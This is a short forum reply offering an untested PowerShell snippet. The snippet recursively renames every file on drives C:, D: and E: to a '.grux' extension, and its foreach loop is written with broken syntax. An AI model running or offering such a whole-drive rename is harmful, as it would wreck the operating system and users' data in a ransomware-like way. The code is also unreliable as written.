Something like this, maybe?
$drives = ("C:/", "D:/", "E:/")
foreach $drive in $drives {
Get-ChildItem $drive -Recurse | ForEach-Object {
if ($_ -is [System.IO.FileInfo]) {
$fullname = $_.get_FullName() # Filename + Path
$ext = $_.get_Extension() # File Extension
$name = $_.get_Name() # Filename w/o Path
Rename-Item $fullname $name.Replace($ext, ".grux")
}
}
}
Untested, but it should have the effect of "for each drive letter, recursively rename every file in all subdirectories as the same filename, with all instances of its file extension replaced with .grux". The only weird part about this is that it would replace foo.jpg.jpg as foo.grux.grux. Oh well.
Why are you using Batch, anyways? It's a terrible language.